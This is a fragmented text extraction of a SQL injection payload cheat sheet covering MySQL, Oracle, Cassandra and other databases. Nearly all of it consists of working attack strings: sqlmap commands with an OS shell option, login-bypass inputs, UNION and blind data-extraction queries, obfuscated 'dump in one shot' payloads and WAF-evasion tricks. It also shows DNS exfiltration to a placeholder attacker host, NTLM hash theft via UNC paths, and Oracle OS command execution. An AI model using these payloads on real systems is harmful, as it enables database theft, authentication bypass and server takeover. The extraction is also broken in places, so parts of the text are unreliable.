Dsds
Dsds
md 7/17/2023
SQL Injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the
client to the application.
Information Leakage
Disclosure of stored data
Manipulation of stored data
Bypassing authorization controls
Summary:
CheatSheets
MSSQL Injection
MySQL Injection
OracleSQL Injection
PostgreSQL Injection
SQLite Injection
Cassandra Injection
HQL Injection
DB2 Injection
Entry point detection
DBMS Identification
SQL injection using SQLmap
Basic arguments for SQLmap
Load a request file and use mobile user-agent
Custom injection in UserAgent/Header/Referer/Cookie
Second order injection
Shell
Crawl a website with SQLmap and auto-exploit
Using TOR with SQLmap
Using a proxy with SQLmap
Using Chrome cookie and a Proxy
Using suffix to tamper the injection
General tamper option and tamper's list
SQLmap without SQL injection
Authentication bypass
Authentication Bypass (Raw MD5 SHA1)
Polyglot injection
Routed injection
Insert Statement - ON DUPLICATE KEY UPDATE
WAF Bypass
1 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
Multiple encoding
%%2727
%25%27
Merging characters
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
Logic Testing
Weird characters
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
2 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
DBMS Identification
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
3 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Shell
SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
--batch = non interactive mode, usually Sqlmap will ask you questions, this
accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
4 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
tamper=name_of_the_tamper
Tamper Description
apostrophemask.py Replaces apostrophe character with its UTF-8 full width counterpart
between.py Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
Replaces space character after SQL statement with a valid random blank
bluecoat.py
character.Afterwards replace character = with LIKE operator
5 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Tamper Description
commalesslimit.py Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
equaltolike.py Replaces all occurrences of operator equal ('=') with operator 'LIKE'
Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN
ifnull2casewhenisnull.py
(B) ELSE (A) END’ counterpart
Replaces each keyword character with lower case value (e.g. SELECT ->
lowercase.py
select)
6 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Tamper Description
Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()}
plus2fnconcat.py
counterpart
Replaces space character (' ') with a dash comment ('--') followed by a
space2dash.py
random string and a new line ('\n')
Replaces space character (' ') with a pound character ('#') followed by a
space2hash.py
random string and a new line ('\n')
Replaces space character (' ') with a pound character ('#') followed by a
space2morehash.py
random string and a new line ('\n')
Replaces space character (' ') with a random blank character from a
space2mssqlblank.py
valid set of alternate characters
Replaces space character (' ') with a pound character ('#') followed by a
space2mssqlhash.py
new line ('\n')
Replaces space character (' ') with a random blank character from a
space2mysqlblank.py
valid set of alternate characters
Replaces space character (' ') with a dash comment ('--') followed by a
space2mysqldash.py
new line ('\n')
Replaces space character (' ') with a random blank character from a
space2randomblank.py
valid set of alternate characters
7 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Tamper Description
uppercase.py Replaces each keyword character with upper case value 'INSERT'
You can use SQLmap to access a database via its port instead of a URL.
Authentication bypass
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
8 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
9 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Allowing an attacker to craft a string with a true statement such as ' or 'SOMETHING
/* MySQL only */
IF(SUBSTR(@@version,1,1)
<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)
<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1
)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
Routed injection
10 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
MYSQL Injection
Summary
MYSQL Default Databases
MYSQL Comments
MYSQL Union Based
Detect columns number
Extract database with information_schema
Extract columns name without information_schema
Extract data without columns name
MYSQL Error Based
MYSQL Error Based - Basic
MYSQL Error Based - UpdateXML function
MYSQL Error Based - Extractvalue function
MYSQL Blind
MYSQL Blind with substring equivalent
MYSQL Blind using a conditional statement
MYSQL Blind with MAKE_SET
MYSQL Blind with LIKE
MYSQL Time Based
Using SLEEP in a subselect
Using conditional statements
MYSQL DIOS - Dump in One Shot
MYSQL Current queries
MYSQL Read content of a file
MYSQL Write a shell
Into outfile method
Into dumpfile method
MYSQL UDF command execution
MYSQL Truncation
MYSQL Fast Exploitation
MYSQL Out of band
DNS exfiltration
UNC Path - NTLM hash stealing
MYSQL comments
Type Description
11 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Type Description
# Hash comment
-- - SQL comment
;%00 Nullbyte
` Backtick
' False
'' True
" False
"" True
\ False
\\ True
AND 1 True
AND 0 False
AND true True
AND false False
1-false Returns 1 if vulnerable
1-true Returns 0 if vulnerable
1*56 Returns 56 if vulnerable
1*56 Returns 1 if not vulnerable
Login: Query like SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+
12 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have
different funcionality in SQL, they both can be used in the exact same fashion to determine the number of
columns in the query.
or
Similar to the previous method, we can check the number of columns with 1 request if error showing is
enabled.
1' ORDER BY
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3
1,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58
,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,
86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
or
1' GROUP BY
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3
13 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
1,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58
,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,
86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
1' UNION SELECT @--+ #The used SELECT statements have a different number of
columns
1' UNION SELECT @,@--+ #The used SELECT statements have a different number of
columns
1' UNION SELECT @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
It is useful for finding the number of columns when the injection point is after a LIMIT clause.
1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number
of columns
1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number
of columns
1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
This works if you know the table name you're after and error showing is enabled.
It will return the amount of columns in the table, not the query.
1' AND (SELECT * FROM Users) = 1--+ #Operand should contain 3 column(s)
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
Then the following codes will extract the databases'name, tables'name, columns'name.
14 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
UniOn Select
1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select
1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeR
e+table_schema=...
UniOn Select
1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wH
eRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null
Extracting data from the 4th column without knowing its name.
15 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Injection example inside the query select author_id,title from posts where author_id=
[INJECT_HERE]
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126))
FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126))
FROM information_schema.TABLES WHERE table_schema=data_column LIMIT
data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126))
FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT
data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126))
FROM data_table.data_column LIMIT data_offset,1)),null)--
Shorter to read:
16 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
MYSQL Blind
MYSQL Blind with substring equivalent
MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP
This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not.
For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce
blind values character by character and leak data from the database without direct output.
17 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE
[COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS])
THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
Payload:
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*")
THEN SLEEP(3) ELSE 1 END)); -- -
Would work in the query (where the "where" clause is the injection point):
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT
name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with
an "a". If it will sleep for 3 seconds per item.
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
18 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
'_' acts like the regex character '.', use it to speed up your blind testing
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
MySQL 5: SLEEP()
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
19 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
-- SecurityIdiots
make_set(6,@:=0x0a,
(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_
name,column_name)),@)
-- Profexer
(select(@)from(select(@:=0x00),
(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_
name,0x3a,column_name))))a)
-- Dr.Z3r0
(select(select concat(@:=0xa7,(select
count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x
3a,column_name))),@))
-- M@dBl00d
(Select export_set(5,@:=0,(select
count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_
name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
-- Zen
+make_set(6,@:=0x0a,
(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_
name,column_name)),@)
-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),
(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAb
AsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe
_nAMe,0x3a3a,column_name))))a)
-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!
20 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c6272
3e3c62723e,unhex(hex(concat/*!
(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e747
2306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723
d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666
f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d
626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x
3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461
626173652055736572203a3a20,user(),
(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),
(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0)
from(information_schema./**/columns)where(table_schema=database())
and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!
(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e74206
36f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2,
0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e
3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),
0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e),
0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number
%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_nam
e,0x3c2f666f6e743e))))x)))))*/+
-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c
666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204
f6620446174616261736573203a3a20,(select count(*) from
information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,conca
t(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from
information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e742063
6f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select
concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata
where schema_name>@sc order by schema_name limit
1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,
(select count(*) from information_Schema.tables where
table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20
,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from
information_Schema.tables where
table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3
e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select
concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where
table_schema=@sc and table_name>@t order by table_name limit
1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select
count(*) from information_Schema.columns where
table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchm
ark((Select count(*) from information_schema.columns where table_schema=@sc and
table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e
,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from
information_schema.columns where table_schema=@sc and table_name=@t and
column_name>@c order by column_name LIMIT
1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c
62723e)+
21 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420
636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c
2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e44617461626173
65207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723
d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c
666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**
N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e2
03c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f532
07e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2
223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666
f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e5555494420
7e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363
930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M
**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d7020446972656374
6f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d22233963
36623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_mac
hine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d2
07e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f7
23d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c6
2723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207
e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d22236133
32363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c627
23e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GL
OBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469
726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c6
2723e3c666f6e7420636f6c6f723d22626c7565223e,
(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),
(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(tab
le_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@
a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,tabl
e_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,
0x3c62723e))))a))+
-- sharik
(select(@a)from(select(@a:=0x00),
(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d61746
96f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c
62723e))))a)
22 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
If you are root on the database, you can re-enable the LOAD_FILE using the following query
MYSQL Truncation
In MYSQL "admin " and "admin" are the same. If the username column in the database has a character-limit
the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a
string with 21 characters the last 1 character will be removed.
23 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
DNS exfiltration
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
24 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
Cassandra Injection
Apache Cassandra is a free and open-source distributed wide column store NoSQL database
management system
Summary
Cassandra comment
Cassandra - Login Bypass
Login Bypass 0
Login Bypass 1
Cassandra comment
/* Cassandra Comment */
Login Bypass 1
username: admin'/*
password: */and pass>'
25 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW
FILTERING;
This query will insert a row for the user “[email protected]”. It will
also insert a row for the user “[email protected]”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL
to update the `password` column of the already existing row to
"bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “[email protected]” and the password
“qwerty”!
26 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
-- - SQL comment
27 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Version is 12.2 SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
28 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Description Query
Table log_table exists SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
Column message exists in SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE'
table log_table AND table_name = 'LOG_TABLE';
First letter of first message SELECT message FROM log_table WHERE rownum=1 AND message LIKE
is t 't%';
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
Grant privileges
Execute commands
10g R2, 11g R1 and R2: DBMS_JAVA_TEST.FUNCALL()
SELECT
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\sys
tem32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-
c','/bin/ls>/tmp/OUT2.LST') from dual
29 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2)
return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return
String'';';
END;
/
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
or (hex encoded)
EXECUTE IMMEDIATE
utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374
696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e
207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e
72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b''));
end;')) results FROM dual
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
WAF Bypass
White spaces alternatives
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
?id=1/*comment*/and/**/1=1/**/--
?id=(1)and(1)=(1)--
01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
MySQL 3
1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0
31 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
MSSQL
1A, 1B, 1C, 1D, 1E, 1F, 20
Example of query where spaces were replaced by ascii characters above 0x80
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
No Comma
No Equal
Case modification
32 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Obfuscation by DBMS
MySQL
1.UNION SELECT 2
3.2UNION SELECT 2
1e0UNION SELECT 2
SELECT\N/0.e3UNION SELECT 2
1e1AND-0.0UNION SELECT 2
1/*!12345UNION/*!31337SELECT/*!table_name*/
{ts 1}UNION SELECT.`` 1.e.table_name
SELECT $.`` 1.e.table_name
SELECT{_ .``1.e.table_name}
SELECT LightOS . ``1.e.table_name LightOS
SELECT information_schema 1337.e.tables 13.37e.table_name
SELECT 1 from information_schema 9.e.table_name
MSSQL
.1UNION SELECT 2
1.UNION SELECT.2alias
1e0UNION SELECT 2
1e1AND-1=0.0UNION SELECT 2
SELECT 0xUNION SELECT 2
SELECT\UNION SELECT 2
\1UNION SELECT 2
SELECT 1FROM[table]WHERE\1=\1AND\1=\1
SELECT"table_name"FROM[information_schema].[tables]
Oracle
1FUNION SELECT 2
1DUNION SELECT 2
SELECT 0x7461626c655f6e616d65 FROM all_tab_tables
SELECT CHR(116) || CHR(97) || CHR(98) FROM all_tab_tables
SELECT%00table_name%00FROM%00all_tab_tables
information_schema.tables alternative
Version Alternative
34 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
Blocked
' or ''='
Working
' or 1.e('')='
Obfuscated query
Labs
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
SQL injection vulnerability allowing login bypass
SQL injection with filter bypass via XML encoding
SQL Labs
PostgreSQL injection
Summary
PostgreSQL Comments
PostgreSQL version
PostgreSQL Current User
PostgreSQL List Users
